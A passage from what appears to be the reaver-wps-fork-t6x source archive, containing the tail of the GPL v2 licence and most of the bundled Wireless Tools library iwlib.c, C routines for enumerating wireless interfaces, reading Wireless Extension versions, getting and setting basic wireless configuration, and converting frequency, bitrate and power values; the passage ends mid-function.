derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. reaver-wps-fork-t6x-1.6.6/src/lwe/iwlib.c000077500000000000000000002554121363372615500201540ustar00rootroot00000000000000/* * Wireless Tools * * Jean II - HPLB 97->99 - HPL 99->07 * * Common subroutines to all the wireless tools... * * This file is released under the GPL license. * Copyright (c) 1997-2007 Jean Tourrilhes */ /***************************** INCLUDES *****************************/ #include "iwlib.h" /* Header */ /************************ CONSTANTS & MACROS ************************/ /* * Constants fof WE-9->15 */ #define IW15_MAX_FREQUENCIES 16 #define IW15_MAX_BITRATES 8 #define IW15_MAX_TXPOWER 8 #define IW15_MAX_ENCODING_SIZES 8 #define IW15_MAX_SPY 8 #define IW15_MAX_AP 8 /****************************** TYPES ******************************/ /* * Struct iw_range up to WE-15 */ struct iw15_range { uint32_t throughput; uint32_t min_nwid; uint32_t max_nwid; uint16_t num_channels; uint8_t num_frequency; struct iw_freq freq[IW15_MAX_FREQUENCIES]; int32_t sensitivity; struct iw_quality max_qual; uint8_t num_bitrates; int32_t bitrate[IW15_MAX_BITRATES]; int32_t min_rts; int32_t max_rts; int32_t min_frag; int32_t max_frag; int32_t min_pmp; int32_t max_pmp; int32_t min_pmt; int32_t max_pmt; uint16_t pmp_flags; uint16_t pmt_flags; uint16_t pm_capa; uint16_t encoding_size[IW15_MAX_ENCODING_SIZES]; uint8_t num_encoding_sizes; uint8_t max_encoding_tokens; uint16_t txpower_capa; uint8_t num_txpower; int32_t txpower[IW15_MAX_TXPOWER]; uint8_t we_version_compiled; uint8_t we_version_source; uint16_t retry_capa; uint16_t retry_flags; uint16_t r_time_flags; int32_t min_retry; int32_t max_retry; int32_t min_r_time; int32_t max_r_time; struct iw_quality avg_qual; }; /* * Union for all the versions of iwrange. * Fortunately, I mostly only add fields at the end, and big-bang * reorganisations are few. */ union iw_range_raw { struct iw15_range range15; /* WE 9->15 */ struct iw_range range; /* WE 16->current */ }; /* * Offsets in iw_range struct */ #define iwr15_off(f) ( ((char *) &(((struct iw15_range *) NULL)->f)) - \ (char *) NULL) #define iwr_off(f) ( ((char *) &(((struct iw_range *) NULL)->f)) - \ (char *) NULL) /**************************** VARIABLES ****************************/ /* Modes as human readable strings */ const char * const iw_operation_mode[] = { "Auto", "Ad-Hoc", "Managed", "Master", "Repeater", "Secondary", "Monitor", "Unknown/bug" }; /* Modulations as human readable strings */ const struct iw_modul_descr iw_modul_list[] = { /* Start with aggregate types, so that they display first */ { IW_MODUL_11AG, "11ag", "IEEE 802.11a + 802.11g (2.4 & 5 GHz, up to 54 Mb/s)" }, { IW_MODUL_11AB, "11ab", "IEEE 802.11a + 802.11b (2.4 & 5 GHz, up to 54 Mb/s)" }, { IW_MODUL_11G, "11g", "IEEE 802.11g (2.4 GHz, up to 54 Mb/s)" }, { IW_MODUL_11A, "11a", "IEEE 802.11a (5 GHz, up to 54 Mb/s)" }, { IW_MODUL_11B, "11b", "IEEE 802.11b (2.4 GHz, up to 11 Mb/s)" }, /* Proprietary aggregates */ { IW_MODUL_TURBO | IW_MODUL_11A, "turboa", "Atheros turbo mode at 5 GHz (up to 108 Mb/s)" }, { IW_MODUL_TURBO | IW_MODUL_11G, "turbog", "Atheros turbo mode at 2.4 GHz (up to 108 Mb/s)" }, { IW_MODUL_PBCC | IW_MODUL_11B, "11+", "TI 802.11+ (2.4 GHz, up to 22 Mb/s)" }, /* Individual modulations */ { IW_MODUL_OFDM_G, "OFDMg", "802.11g higher rates, OFDM at 2.4 GHz (up to 54 Mb/s)" }, { IW_MODUL_OFDM_A, "OFDMa", "802.11a, OFDM at 5 GHz (up to 54 Mb/s)" }, { IW_MODUL_CCK, "CCK", "802.11b higher rates (2.4 GHz, up to 11 Mb/s)" }, { IW_MODUL_DS, "DS", "802.11 Direct Sequence (2.4 GHz, up to 2 Mb/s)" }, { IW_MODUL_FH, "FH", "802.11 Frequency Hopping (2,4 GHz, up to 2 Mb/s)" }, /* Proprietary modulations */ { IW_MODUL_TURBO, "turbo", "Atheros turbo mode, channel bonding (up to 108 Mb/s)" }, { IW_MODUL_PBCC, "PBCC", "TI 802.11+ higher rates (2.4 GHz, up to 22 Mb/s)" }, { IW_MODUL_CUSTOM, "custom", "Driver specific modulation (check driver documentation)" }, }; /* Disable runtime version warning in iw_get_range_info() */ int iw_ignore_version = 0; /************************ SOCKET SUBROUTINES *************************/ /*------------------------------------------------------------------*/ /* * Open a socket. * Depending on the protocol present, open the right socket. The socket * will allow us to talk to the driver. */ int iw_sockets_open(void) { static const int families[] = { AF_INET, AF_IPX, #ifdef AF_AX25 AF_AX25, #endif AF_APPLETALK }; unsigned int i; int sock; /* * Now pick any (exisiting) useful socket family for generic queries * Note : don't open all the socket, only returns when one matches, * all protocols might not be valid. * Workaround by Jim Kaba * Note : in 99% of the case, we will just open the inet_sock. * The remaining 1% case are not fully correct... */ /* Try all families we support */ for(i = 0; i < sizeof(families)/sizeof(int); ++i) { /* Try to open the socket, if success returns it */ sock = socket(families[i], SOCK_DGRAM, 0); if(sock >= 0) return sock; } return -1; } /*------------------------------------------------------------------*/ /* * Extract the interface name out of /proc/net/wireless or /proc/net/dev. */ static inline char * iw_get_ifname(char * name, /* Where to store the name */ int nsize, /* Size of name buffer */ char * buf) /* Current position in buffer */ { char * end; /* Skip leading spaces */ while(isspace(*buf)) buf++; #ifndef IW_RESTRIC_ENUM /* Get name up to the last ':'. Aliases may contain ':' in them, * but the last one should be the separator */ end = strrchr(buf, ':'); #else /* Get name up to ": " * Note : we compare to ": " to make sure to process aliased interfaces * properly. Doesn't work on /proc/net/dev, because it doesn't guarantee * a ' ' after the ':'*/ end = strstr(buf, ": "); #endif /* Not found ??? To big ??? */ if((end == NULL) || (((end - buf) + 1) > nsize)) return(NULL); /* Copy */ memcpy(name, buf, (end - buf)); name[end - buf] = '\0'; /* Return value currently unused, just make sure it's non-NULL */ return(end); } /*------------------------------------------------------------------*/ /* * Enumerate devices and call specified routine * The new way just use /proc/net/wireless, so get all wireless interfaces, * whether configured or not. This is the default if available. * The old way use SIOCGIFCONF, so get only configured interfaces (wireless * or not). */ void iw_enum_devices(int skfd, iw_enum_handler fn, char * args[], int count) { char buff[1024]; FILE * fh; struct ifconf ifc; struct ifreq *ifr; int i; #ifndef IW_RESTRIC_ENUM /* Check if /proc/net/dev is available */ fh = fopen(PROC_NET_DEV, "r"); #else /* Check if /proc/net/wireless is available */ fh = fopen(PROC_NET_WIRELESS, "r"); #endif if(fh != NULL) { /* Success : use data from /proc/net/wireless */ /* Eat 2 lines of header */ fgets(buff, sizeof(buff), fh); fgets(buff, sizeof(buff), fh); /* Read each device line */ while(fgets(buff, sizeof(buff), fh)) { char name[IFNAMSIZ + 1]; char *s; /* Skip empty or almost empty lines. It seems that in some * cases fgets return a line with only a newline. */ if((buff[0] == '\0') || (buff[1] == '\0')) continue; /* Extract interface name */ s = iw_get_ifname(name, sizeof(name), buff); if(!s) { /* Failed to parse, complain and continue */ #ifndef IW_RESTRIC_ENUM fprintf(stderr, "Cannot parse " PROC_NET_DEV "\n"); #else fprintf(stderr, "Cannot parse " PROC_NET_WIRELESS "\n"); #endif } else /* Got it, print info about this interface */ (*fn)(skfd, name, args, count); } fclose(fh); } else { /* Get list of configured devices using "traditional" way */ ifc.ifc_len = sizeof(buff); ifc.ifc_buf = buff; if(ioctl(skfd, SIOCGIFCONF, &ifc) < 0) { fprintf(stderr, "SIOCGIFCONF: %s\n", strerror(errno)); return; } ifr = ifc.ifc_req; /* Print them */ for(i = ifc.ifc_len / sizeof(struct ifreq); --i >= 0; ifr++) (*fn)(skfd, ifr->ifr_name, args, count); } } /*********************** WIRELESS SUBROUTINES ************************/ /*------------------------------------------------------------------*/ /* * Extract WE version number from /proc/net/wireless * In most cases, you really want to get version information from * the range info (range->we_version_compiled), see below... * * If we have WE-16 and later, the WE version is available at the * end of the header line of the file. * For version prior to that, we can only detect the change from * v11 to v12, so we do an approximate job. Fortunately, v12 to v15 * are highly binary compatible (on the struct level). */ int iw_get_kernel_we_version(void) { char buff[1024]; FILE * fh; char * p; int v; /* Check if /proc/net/wireless is available */ fh = fopen(PROC_NET_WIRELESS, "r"); if(fh == NULL) { fprintf(stderr, "Cannot read " PROC_NET_WIRELESS "\n"); return(-1); } /* Read the first line of buffer */ fgets(buff, sizeof(buff), fh); if(strstr(buff, "| WE") == NULL) { /* Prior to WE16, so explicit version not present */ /* Black magic */ if(strstr(buff, "| Missed") == NULL) v = 11; else v = 15; fclose(fh); return(v); } /* Read the second line of buffer */ fgets(buff, sizeof(buff), fh); /* Get to the last separator, to get the version */ p = strrchr(buff, '|'); if((p == NULL) || (sscanf(p + 1, "%d", &v) != 1)) { fprintf(stderr, "Cannot parse " PROC_NET_WIRELESS "\n"); fclose(fh); return(-1); } fclose(fh); return(v); } /*------------------------------------------------------------------*/ /* * Print the WE versions of the interface. */ static int print_iface_version_info(int skfd, char * ifname, char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; char buffer[sizeof(iwrange) * 2]; /* Large enough */ struct iw_range * range; /* Avoid "Unused parameter" warning */ (void) args; (void) count; /* If no wireless name : no wireless extensions. * This enable us to treat the SIOCGIWRANGE failure below properly. */ if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0) return(-1); /* Cleanup */ memset(buffer, 0, sizeof(buffer)); wrq.u.data.pointer = (caddr_t) buffer; wrq.u.data.length = sizeof(buffer); wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWRANGE, &wrq) < 0) { /* Interface support WE (see above), but not IWRANGE */ fprintf(stderr, "%-8.16s Driver has no Wireless Extension version information.\n\n", ifname); return(0); } /* Copy stuff at the right place, ignore extra */ range = (struct iw_range *) buffer; /* For new versions, we can check the version directly, for old versions * we use magic. 300 bytes is a also magic number, don't touch... */ if(wrq.u.data.length >= 300) { /* Version is always at the same offset, so it's ok */ printf("%-8.16s Recommend Wireless Extension v%d or later,\n", ifname, range->we_version_source); printf(" Currently compiled with Wireless Extension v%d.\n\n", range->we_version_compiled); } else { fprintf(stderr, "%-8.16s Wireless Extension version too old.\n\n", ifname); } return(0); } /*------------------------------------------------------------------*/ /* * Print the WE versions of the tools. */ int iw_print_version_info(const char * toolname) { int skfd; /* generic raw socket desc. */ int we_kernel_version; /* Create a channel to the NET kernel. */ if((skfd = iw_sockets_open()) < 0) { perror("socket"); return -1; } /* Information about the tools themselves */ if(toolname != NULL) printf("%-8.16s Wireless-Tools version %d\n", toolname, WT_VERSION); printf(" Compatible with Wireless Extension v11 to v%d.\n\n", WE_MAX_VERSION); /* Get version from kernel */ we_kernel_version = iw_get_kernel_we_version(); /* Only version >= 16 can be verified, other are guessed */ if(we_kernel_version > 15) printf("Kernel Currently compiled with Wireless Extension v%d.\n\n", we_kernel_version); /* Version for each device */ iw_enum_devices(skfd, &print_iface_version_info, NULL, 0); iw_sockets_close(skfd); return 0; } /*------------------------------------------------------------------*/ /* * Get the range information out of the driver */ int iw_get_range_info(int skfd, const char * ifname, iwrange * range) { struct iwreq wrq; char buffer[sizeof(iwrange) * 2]; /* Large enough */ union iw_range_raw * range_raw; /* Cleanup */ bzero(buffer, sizeof(buffer)); wrq.u.data.pointer = (caddr_t) buffer; wrq.u.data.length = sizeof(buffer); wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWRANGE, &wrq) < 0) return(-1); /* Point to the buffer */ range_raw = (union iw_range_raw *) buffer; /* For new versions, we can check the version directly, for old versions * we use magic. 300 bytes is a also magic number, don't touch... */ if(wrq.u.data.length < 300) { /* That's v10 or earlier. Ouch ! Let's make a guess...*/ range_raw->range.we_version_compiled = 9; } /* Check how it needs to be processed */ if(range_raw->range.we_version_compiled > 15) { /* This is our native format, that's easy... */ /* Copy stuff at the right place, ignore extra */ memcpy((char *) range, buffer, sizeof(iwrange)); } else { /* Zero unknown fields */ bzero((char *) range, sizeof(struct iw_range)); /* Initial part unmoved */ memcpy((char *) range, buffer, iwr15_off(num_channels)); /* Frequencies pushed futher down towards the end */ memcpy((char *) range + iwr_off(num_channels), buffer + iwr15_off(num_channels), iwr15_off(sensitivity) - iwr15_off(num_channels)); /* This one moved up */ memcpy((char *) range + iwr_off(sensitivity), buffer + iwr15_off(sensitivity), iwr15_off(num_bitrates) - iwr15_off(sensitivity)); /* This one goes after avg_qual */ memcpy((char *) range + iwr_off(num_bitrates), buffer + iwr15_off(num_bitrates), iwr15_off(min_rts) - iwr15_off(num_bitrates)); /* Number of bitrates has changed, put it after */ memcpy((char *) range + iwr_off(min_rts), buffer + iwr15_off(min_rts), iwr15_off(txpower_capa) - iwr15_off(min_rts)); /* Added encoding_login_index, put it after */ memcpy((char *) range + iwr_off(txpower_capa), buffer + iwr15_off(txpower_capa), iwr15_off(txpower) - iwr15_off(txpower_capa)); /* Hum... That's an unexpected glitch. Bummer. */ memcpy((char *) range + iwr_off(txpower), buffer + iwr15_off(txpower), iwr15_off(avg_qual) - iwr15_off(txpower)); /* Avg qual moved up next to max_qual */ memcpy((char *) range + iwr_off(avg_qual), buffer + iwr15_off(avg_qual), sizeof(struct iw_quality)); } /* We are now checking much less than we used to do, because we can * accomodate more WE version. But, there are still cases where things * will break... */ if(!iw_ignore_version) { /* We don't like very old version (unfortunately kernel 2.2.X) */ if(range->we_version_compiled <= 10) { fprintf(stderr, "Warning: Driver for device %s has been compiled with an ancient version\n", ifname); fprintf(stderr, "of Wireless Extension, while this program support version 11 and later.\n"); fprintf(stderr, "Some things may be broken...\n\n"); } /* We don't like future versions of WE, because we can't cope with * the unknown */ if(range->we_version_compiled > WE_MAX_VERSION) { fprintf(stderr, "Warning: Driver for device %s has been compiled with version %d\n", ifname, range->we_version_compiled); fprintf(stderr, "of Wireless Extension, while this program supports up to version %d.\n", WE_MAX_VERSION); fprintf(stderr, "Some things may be broken...\n\n"); } /* Driver version verification */ if((range->we_version_compiled > 10) && (range->we_version_compiled < range->we_version_source)) { fprintf(stderr, "Warning: Driver for device %s recommend version %d of Wireless Extension,\n", ifname, range->we_version_source); fprintf(stderr, "but has been compiled with version %d, therefore some driver features\n", range->we_version_compiled); fprintf(stderr, "may not be available...\n\n"); } /* Note : we are only trying to catch compile difference, not source. * If the driver source has not been updated to the latest, it doesn't * matter because the new fields are set to zero */ } /* Don't complain twice. * In theory, the test apply to each individual driver, but usually * all drivers are compiled from the same kernel. */ iw_ignore_version = 1; return(0); } /*------------------------------------------------------------------*/ /* * Get information about what private ioctls are supported by the driver * * Note : there is one danger using this function. If it return 0, you * still need to free() the buffer. Beware. */ int iw_get_priv_info(int skfd, const char * ifname, iwprivargs ** ppriv) { struct iwreq wrq; iwprivargs * priv = NULL; /* Not allocated yet */ int maxpriv = 16; /* Minimum for compatibility WE<13 */ iwprivargs * newpriv; /* Some driver may return a very large number of ioctls. Some * others a very small number. We now use a dynamic allocation * of the array to satisfy everybody. Of course, as we don't know * in advance the size of the array, we try various increasing * sizes. Jean II */ do { /* (Re)allocate the buffer */ newpriv = realloc(priv, maxpriv * sizeof(priv[0])); if(newpriv == NULL) { fprintf(stderr, "%s: Allocation failed\n", __FUNCTION__); break; } priv = newpriv; /* Ask the driver if it's large enough */ wrq.u.data.pointer = (caddr_t) priv; wrq.u.data.length = maxpriv; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWPRIV, &wrq) >= 0) { /* Success. Pass the buffer by pointer */ *ppriv = priv; /* Return the number of ioctls */ return(wrq.u.data.length); } /* Only E2BIG means the buffer was too small, abort on other errors */ if(errno != E2BIG) { /* Most likely "not supported". Don't barf. */ break; } /* Failed. We probably need a bigger buffer. Check if the kernel * gave us any hints. */ if(wrq.u.data.length > maxpriv) maxpriv = wrq.u.data.length; else maxpriv *= 2; } while(maxpriv < 1000); /* Cleanup */ if(priv) free(priv); *ppriv = NULL; return(-1); } /*------------------------------------------------------------------*/ /* * Get essential wireless config from the device driver * We will call all the classical wireless ioctl on the driver through * the socket to know what is supported and to get the settings... * Note : compare to the version in iwconfig, we extract only * what's *really* needed to configure a device... */ int iw_get_basic_config(int skfd, const char * ifname, wireless_config * info) { struct iwreq wrq; memset((char *) info, 0, sizeof(struct wireless_config)); /* Get wireless name */ if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0) /* If no wireless name : no wireless extensions */ return(-1); else { strncpy(info->name, wrq.u.name, IFNAMSIZ); info->name[IFNAMSIZ] = '\0'; } /* Get network ID */ if(iw_get_ext(skfd, ifname, SIOCGIWNWID, &wrq) >= 0) { info->has_nwid = 1; memcpy(&(info->nwid), &(wrq.u.nwid), sizeof(iwparam)); } /* Get frequency / channel */ if(iw_get_ext(skfd, ifname, SIOCGIWFREQ, &wrq) >= 0) { info->has_freq = 1; info->freq = iw_freq2float(&(wrq.u.freq)); info->freq_flags = wrq.u.freq.flags; } /* Get encryption information */ wrq.u.data.pointer = (caddr_t) info->key; wrq.u.data.length = IW_ENCODING_TOKEN_MAX; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWENCODE, &wrq) >= 0) { info->has_key = 1; info->key_size = wrq.u.data.length; info->key_flags = wrq.u.data.flags; } /* Get ESSID */ wrq.u.essid.pointer = (caddr_t) info->essid; wrq.u.essid.length = IW_ESSID_MAX_SIZE + 1; wrq.u.essid.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWESSID, &wrq) >= 0) { info->has_essid = 1; info->essid_on = wrq.u.data.flags; } /* Get operation mode */ if(iw_get_ext(skfd, ifname, SIOCGIWMODE, &wrq) >= 0) { info->has_mode = 1; /* Note : event->u.mode is unsigned, no need to check <= 0 */ if(wrq.u.mode < IW_NUM_OPER_MODE) info->mode = wrq.u.mode; else info->mode = IW_NUM_OPER_MODE; /* Unknown/bug */ } return(0); } /*------------------------------------------------------------------*/ /* * Set essential wireless config in the device driver * We will call all the classical wireless ioctl on the driver through * the socket to know what is supported and to set the settings... * We support only the restricted set as above... */ int iw_set_basic_config(int skfd, const char * ifname, wireless_config * info) { struct iwreq wrq; int ret = 0; /* Get wireless name (check if interface is valid) */ if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0) /* If no wireless name : no wireless extensions */ return(-2); /* Set the current mode of operation * Mode need to be first : some settings apply only in a specific mode * (such as frequency). */ if(info->has_mode) { strncpy(wrq.ifr_ifrn.ifrn_name, ifname, IFNAMSIZ); wrq.u.mode = info->mode; if(iw_get_ext(skfd, ifname, SIOCSIWMODE, &wrq) < 0) { fprintf(stderr, "SIOCSIWMODE: %s\n", strerror(errno)); ret = -1; } } /* Set frequency / channel */ if(info->has_freq) { iw_float2freq(info->freq, &(wrq.u.freq)); if(iw_set_ext(skfd, ifname, SIOCSIWFREQ, &wrq) < 0) { fprintf(stderr, "SIOCSIWFREQ: %s\n", strerror(errno)); ret = -1; } } /* Set encryption information */ if(info->has_key) { int flags = info->key_flags; /* Check if there is a key index */ if((flags & IW_ENCODE_INDEX) > 0) { /* Set the index */ wrq.u.data.pointer = (caddr_t) NULL; wrq.u.data.flags = (flags & (IW_ENCODE_INDEX)) | IW_ENCODE_NOKEY; wrq.u.data.length = 0; if(iw_set_ext(skfd, ifname, SIOCSIWENCODE, &wrq) < 0) { fprintf(stderr, "SIOCSIWENCODE(%d): %s\n", errno, strerror(errno)); ret = -1; } } /* Mask out index to minimise probability of reject when setting key */ flags = flags & (~IW_ENCODE_INDEX); /* Set the key itself (set current key in this case) */ wrq.u.data.pointer = (caddr_t) info->key; wrq.u.data.length = info->key_size; wrq.u.data.flags = flags; /* Compatibility with WE<13 */ if(flags & IW_ENCODE_NOKEY) wrq.u.data.pointer = NULL; if(iw_set_ext(skfd, ifname, SIOCSIWENCODE, &wrq) < 0) { fprintf(stderr, "SIOCSIWENCODE(%d): %s\n", errno, strerror(errno)); ret = -1; } } /* Set Network ID, if available (this is for non-802.11 cards) */ if(info->has_nwid) { memcpy(&(wrq.u.nwid), &(info->nwid), sizeof(iwparam)); wrq.u.nwid.fixed = 1; /* Hum... When in Rome... */ if(iw_set_ext(skfd, ifname, SIOCSIWNWID, &wrq) < 0) { fprintf(stderr, "SIOCSIWNWID: %s\n", strerror(errno)); ret = -1; } } /* Set ESSID (extended network), if available. * ESSID need to be last : most device re-perform the scanning/discovery * when this is set, and things like encryption keys are better be * defined if we want to discover the right set of APs/nodes. */ if(info->has_essid) { int we_kernel_version; we_kernel_version = iw_get_kernel_we_version(); wrq.u.essid.pointer = (caddr_t) info->essid; wrq.u.essid.length = strlen(info->essid); wrq.u.data.flags = info->essid_on; if(we_kernel_version < 21) wrq.u.essid.length++; if(iw_set_ext(skfd, ifname, SIOCSIWESSID, &wrq) < 0) { fprintf(stderr, "SIOCSIWESSID: %s\n", strerror(errno)); ret = -1; } } return(ret); } /*********************** PROTOCOL SUBROUTINES ***********************/ /* * Fun stuff with protocol identifiers (SIOCGIWNAME). * We assume that drivers are returning sensible values in there, * which is not always the case :-( */ /*------------------------------------------------------------------*/ /* * Compare protocol identifiers. * We don't want to know if the two protocols are the exactly same, * but if they interoperate at some level, and also if they accept the * same type of config (ESSID vs NWID, freq...). * This is supposed to work around the alphabet soup. * Return 1 if protocols are compatible, 0 otherwise */ int iw_protocol_compare(const char * protocol1, const char * protocol2) { const char * dot11 = "IEEE 802.11"; const char * dot11_ds = "Dbg"; const char * dot11_5g = "a"; /* If the strings are the same -> easy */ if(!strncmp(protocol1, protocol2, IFNAMSIZ)) return(1); /* Are we dealing with one of the 802.11 variant ? */ if( (!strncmp(protocol1, dot11, strlen(dot11))) && (!strncmp(protocol2, dot11, strlen(dot11))) ) { const char * sub1 = protocol1 + strlen(dot11); const char * sub2 = protocol2 + strlen(dot11); unsigned int i; int isds1 = 0; int isds2 = 0; int is5g1 = 0; int is5g2 = 0; /* Check if we find the magic letters telling it's DS compatible */ for(i = 0; i < strlen(dot11_ds); i++) { if(strchr(sub1, dot11_ds[i]) != NULL) isds1 = 1; if(strchr(sub2, dot11_ds[i]) != NULL) isds2 = 1; } if(isds1 && isds2) return(1); /* Check if we find the magic letters telling it's 5GHz compatible */ for(i = 0; i < strlen(dot11_5g); i++) { if(strchr(sub1, dot11_5g[i]) != NULL) is5g1 = 1; if(strchr(sub2, dot11_5g[i]) != NULL) is5g2 = 1; } if(is5g1 && is5g2) return(1); } /* Not compatible */ return(0); } /********************** FREQUENCY SUBROUTINES ***********************/ /* * Note : the two functions below are the cause of troubles on * various embeeded platforms, as they are the reason we require * libm (math library). * In this case, please use enable BUILD_NOLIBM in the makefile * * FIXME : check negative mantissa and exponent */ /*------------------------------------------------------------------*/ /* * Convert a floating point the our internal representation of * frequencies. * The kernel doesn't want to hear about floating point, so we use * this custom format instead. */ void iw_float2freq(double in, iwfreq * out) { #ifdef WE_NOLIBM /* Version without libm : slower */ out->e = 0; while(in > 1e9) { in /= 10; out->e++; } out->m = (long) in; #else /* WE_NOLIBM */ /* Version with libm : faster */ out->e = (short) (floor(log10(in))); if(out->e > 8) { out->m = ((long) (floor(in / pow(10,out->e - 6)))) * 100; out->e -= 8; } else { out->m = (long) in; out->e = 0; } #endif /* WE_NOLIBM */ } /*------------------------------------------------------------------*/ /* * Convert our internal representation of frequencies to a floating point. */ double iw_freq2float(const iwfreq * in) { #ifdef WE_NOLIBM /* Version without libm : slower */ int i; double res = (double) in->m; for(i = 0; i < in->e; i++) res *= 10; return(res); #else /* WE_NOLIBM */ /* Version with libm : faster */ return ((double) in->m) * pow(10,in->e); #endif /* WE_NOLIBM */ } /*------------------------------------------------------------------*/ /* * Output a frequency with proper scaling */ void iw_print_freq_value(char * buffer, int buflen, double freq) { if(freq < KILO) snprintf(buffer, buflen, "%g", freq); else { char scale; int divisor; if(freq >= GIGA) { scale = 'G'; divisor = GIGA; } else { if(freq >= MEGA) { scale = 'M'; divisor = MEGA; } else { scale = 'k'; divisor = KILO; } } snprintf(buffer, buflen, "%g %cHz", freq / divisor, scale); } } /*------------------------------------------------------------------*/ /* * Output a frequency with proper scaling */ void iw_print_freq(char * buffer, int buflen, double freq, int channel, int freq_flags) { char sep = ((freq_flags & IW_FREQ_FIXED) ? '=' : ':'); char vbuf[16]; /* Print the frequency/channel value */ iw_print_freq_value(vbuf, sizeof(vbuf), freq); /* Check if channel only */ if(freq < KILO) snprintf(buffer, buflen, "Channel%c%s", sep, vbuf); else { /* Frequency. Check if we have a channel as well */ if(channel >= 0) snprintf(buffer, buflen, "Frequency%c%s (Channel %d)", sep, vbuf, channel); else snprintf(buffer, buflen, "Frequency%c%s", sep, vbuf); } } /*------------------------------------------------------------------*/ /* * Convert a frequency to a channel (negative -> error) */ int iw_freq_to_channel(double freq, const struct iw_range * range) { double ref_freq; int k; /* Check if it's a frequency or not already a channel */ if(freq < KILO) return(-1); /* We compare the frequencies as double to ignore differences * in encoding. Slower, but safer... */ for(k = 0; k < range->num_frequency; k++) { ref_freq = iw_freq2float(&(range->freq[k])); if(freq == ref_freq) return(range->freq[k].i); } /* Not found */ return(-2); } /*------------------------------------------------------------------*/ /* * Convert a channel to a frequency (negative -> error) * Return the channel on success */ int iw_channel_to_freq(int channel, double * pfreq, const struct iw_range * range) { int has_freq = 0; int k; /* Check if the driver support only channels or if it has frequencies */ for(k = 0; k < range->num_frequency; k++) { if((range->freq[k].e != 0) || (range->freq[k].m > (int) KILO)) has_freq = 1; } if(!has_freq) return(-1); /* Find the correct frequency in the list */ for(k = 0; k < range->num_frequency; k++) { if(range->freq[k].i == channel) { *pfreq = iw_freq2float(&(range->freq[k])); return(channel); } } /* Not found */ return(-2); } /*********************** BITRATE SUBROUTINES ***********************/ /*------------------------------------------------------------------*/ /* * Output a bitrate with proper scaling */ void iw_print_bitrate(char * buffer, int buflen, int bitrate) { double rate = bitrate; char scale; int divisor; if(rate >= GIGA) { scale = 'G'; divisor = GIGA; } else { if(rate >= MEGA) { scale = 'M'; divisor = MEGA; } else { scale = 'k'; divisor = KILO; } } snprintf(buffer, buflen, "%g %cb/s", rate / divisor, scale); } /************************ POWER SUBROUTINES *************************/ /*------------------------------------------------------------------*/ /* * Convert a value in dBm to a value in milliWatt. */ int iw_dbm2mwatt(int in) { #ifdef WE_NOLIBM /* Version without libm : slower */ int ip = in / 10; int fp = in % 10; int k; double res = 1.0; /* Split integral and floating part to avoid accumulating rounding errors */ for(k = 0; k < ip; k++) res *= 10; for(k = 0; k < fp; k++) res *= LOG10_MAGIC; return((int) res); #else /* WE_NOLIBM */ /* Version with 